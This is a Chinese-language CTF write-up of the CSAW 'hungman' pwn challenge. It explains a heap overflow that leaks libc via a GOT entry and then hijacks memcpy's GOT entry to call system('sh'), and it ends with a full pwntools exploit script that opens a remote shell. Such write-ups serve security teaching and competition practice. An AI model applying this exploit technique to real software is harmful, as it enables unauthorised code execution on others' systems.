Description

第一次貢獻大分數給 BambooFox,雖然這次比賽比較簡單,但還是很感動QQ

Analyzing

64 bit ELF, NX, Partial RELRO, Stack Canary, no PIE

程式一開始會要求輸入名字,而他會 malloc 名字長度的記憶體來存放使用者輸入的名字,接著會 malloc 一塊 0x80 大小的 heap,以下稱之為 key_heap,第一格高位 4 bytes 會存放 length of name,第二格則儲存著 name's heap 的位址。

name's heap & key_heap 的 memory layout 如下:

    low     ->     high
    + ------------- +  name's heap chunk head
    | previous size |
    | ------------- |
    |      size     |
    | ------------- |
    |      name     |  32 bytes
    |               |       |
    |               |       |
    |               |       v
    + ------------- +  key_heap chunk head
    | previous size |
    | ------------- |
    |      size     |
    | ------------- |
    |       |length |
    | ------------- |
    |  name's heap  |
    + ------------- +

輸入完名字之後,回到了 main,接著便進入玩遊戲的 function 以下稱為 game。

遊戲是猜小寫英文字母,然後如果分數超過 64 分可以重新改名字,而改寫名字時可以在 heap 上進行 overflow。

因為是猜小寫字母,而照他的規則一開始輸入名字的長度會決定可以猜的次數,因此一開始輸入名字時就給他來個 'A'*26,這樣基本上從 a 猜到 z 猜到一半就能夠破分數紀錄而改寫名字。

改寫名字的 code 重點如下:

s = malloc(248);
memset(s, 0, 248);
len_of_new_name = read(0, s, 248);
*(_DWORD*)(a1 + 4) = len_of_new_name; // 把剛剛 key_heap 存 name size 的地方改成 new name 的 size
memcpy(*(void**)(a1 + 8), s, len_of_new_name);
free(s);

由上面的 code 可以發現,他最長可以讀 248 bytes,而我們一開始輸入的名字長度只有 26,因此 new name 可以好好的構造來 leak information

因為離開 game 後會把新名字 dump 出來,而程式找 name_heap 的方式是靠 key_heap 的第二格來找,因此在剛剛的 overflow 時我們將原本儲存著 name's heap address 的那格改成 GOT entry,這樣一來,在 dump new name 的時候便可以 leak libc information 接著利用主辦方給的 libc 就可以找到 libc base

這邊 overflow 的 payload 如下:

payload = 'A'*32 # padding
payload += p64(0) # previous size
payload += p64(0x91) # size
payload += p32(0x20) # score
payload += p32(0x1b) # len_of_new_name
payload += p64(libc_start_main) # __libc_start_main GOT entry

size 那邊沒必要寫壞就寫回原來的值,下一格的低位 4 bytes 會是 這次刷新的分數(下面提供相關 code),為了加速下次玩遊戲時間,把分數改低一點,然後因為猜個 26 次就很夠了所以高位 4 bytes 寫回原來的長度就好了,接下來再玩一次。

score = *(_DWARD*)a1;

第二次改名時就不會改到 name's heap,會改到剛剛 overwrite 的 __libc_start_main GOT entry 上。

GOT table 的 libc function order:

__libc_start_main@got.plt
__gmon_start__@got.plt
memcpy@got.plt
malloc@got.plt
setvbuf@got.plt

因為在改名字時有一段 code 是 memcpy(*(void**)(a1+8), s, len_of_new_name),所以把 memcpy 的 GOT hijack 掉改成 system,要注意的點是改名字時會用到 mallocread 會在結尾補 \x00 所以乾脆直接連 malloc 也一起蓋上正確的 libc address 確保他不會壞,而 malloc 的下一個 function 後面用不到就不用管他。這邊 payload 開頭我就先送 'sh\x00' 上去這樣 memcpy 的一開始就可以直接 system('sh')

第二次的 payload:

payload = "sh\x00".ljust(8)
payload += 'A'*8
payload += p64(system)
payload += p64(malloc)

之後再玩一次遊戲,然後改名字的時候隨便輸入就可以拿到 shell

Final Exploit:

#!/usr/bin/env python

from pwn import *

#context.log_level = 'DEBUG'
#r = process('./hungman-patch')
r = remote('172.17.0.2', 4000)
#r = remote('pwn.chal.csaw.io', 8003)

#libc = ELF('bc.so.6')
#libc =ELF('/home/naetw/binaryservice/src/glibc-2.19/32/lib/libc.so.6')
libc =ELF('/home/naetw/binaryservice/src/glibc-2.19/64/lib/libc.so.6')

libc_start_got = 0x602068

r.recv()
r.sendline('A'*26)

def game(payload):
    for i in xrange(26):
        r.sendline(chr(97+i))
        x = r.recvline()
        if x[0:4] == "High":
            r.recv(timeout=3)
            r.sendline('y')
            sleep(1)
            r.sendline(payload)
            return
        if x[0:4] == 'Defa':
            r.recvuntil('Continue? ')
            r.sendline('y')
            i = 0
            r.recvline()

# leak libc function address
payload = 'A'*32
payload += p64(0) + p64(0x91) + p32(0x20) + p32(0x1b) + p64(libc_start_got)
r.recvuntil('__________________________\n')
game(payload)
r.recvuntil('player: ')
x = r.recvuntil(' score:')
r.recv()
base = u64(x[0:6] + '\x00' * 2) - libc.symbols['__libc_start_main']
system = base + libc.symbols['system']
info('libc base : {}'.format(hex(base)))
info('system : {}'.format(hex(system)))

# hijack memcpy() and open shell
r.sendline('y')
r.recvuntil('__________________________\n')
payload = 'sh\x00'.ljust(8) + 'A'*8 + p64(system) + p64(base + libc.symbols['malloc']) 
game(payload)
r.recvuntil('Continue? ')
r.sendline('y')
r.recvline()
payload = 'whatever'
game(payload)

r.interactive()